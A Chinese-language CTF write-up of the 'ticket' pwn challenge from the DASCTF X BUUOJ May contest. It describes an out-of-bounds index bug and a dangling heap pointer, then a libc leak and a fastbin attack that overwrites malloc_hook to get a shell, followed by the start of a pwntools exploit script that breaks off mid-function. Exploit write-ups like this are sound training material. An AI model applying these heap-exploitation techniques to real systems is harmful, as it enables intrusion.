DASCTF X BUUOJ 五月大联动WP
概述
这个五月我又参加了一次不留痕迹的ctf比赛,之所以叫不留痕迹,是因为总是拿不到好的名次😏,比赛结束前1小时还能苟进前10,不过后面还是被反超了。不好在安慰自己,新手嘛,刚刚上路,稳扎稳打,持续努力,定有收获。
这个比赛完整环境可以在buuoj上找到,简单分析一下题目分布情况,pwn 2道,re 2道,web 2道,crypto 3道,misc 7道。我本人主要是专攻二进制方向,下面给出的是pwn和re的wp。
pwn
DASCTF_X_BUUOJ_2021_ticket
购票程序,linux64位程序,使用libc-2.23.so,增删查改一应俱全,程序本身没有开启pie保护,其余保护全开,按理说这道题应该比第二道pwn要简单些的,但实际利用过程中由于存在很多限制,使得花费的时间比第二道pwn题还要久。
如下截图所示,是该题目存在的两个漏洞,均位于删除逻辑功能里面,首先是idx没有判断小于0的情况,存在数组越界;其次是free时只是将idx+10处也就是记录堆大小的内存置空,而记录堆指针的内存idx+4没有置空。
对于本题的利用思路,先利用unsorted bin泄露libc地址,然后利用前面提到的堆指针数组越界释放题目预先分配的两块内存,注意这里需要满足chunk size不为空的条件,释放后构成fast bin链,利用功能6泄露出heap地址。在得到堆地址和libc地址后,接下来就是如何控制程序流来获取shell,我的思路是先申请0x60大小的堆块,然后利用题目给的功能5修改age变量为这里的堆块指针,因为age变量恰好位于堆指针-3的位置。之后释放位于-3处的堆指针,再编辑该堆块的fd指针指向malloc_hook-0x23,最后就是正常的fastbin attack,将堆块分配到malloc_hook附近,修改malloc_hook为one_gadget。完整exp见下面的代码:
from pwn import *
libc_path = "./libc-2.23.so"
p = remote("node3.buuoj.cn", 26740)
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
def new(idx, size):
sa(">> ", "1")
sa("Index: \n", str(idx))
sa("Remarks size: \n", str(size))
def free(idx):
sa(">> ", "2")
sa("Index: \n", str(idx))
def edit(idx, con):
sa(">> ", "3")
sa("Index: \n", str(idx))
sa("Your remarks: \n", con)
def show(idx):
sa(">> ", "4")
sa("Index: \n", str(idx))
def edit_info(name, say, age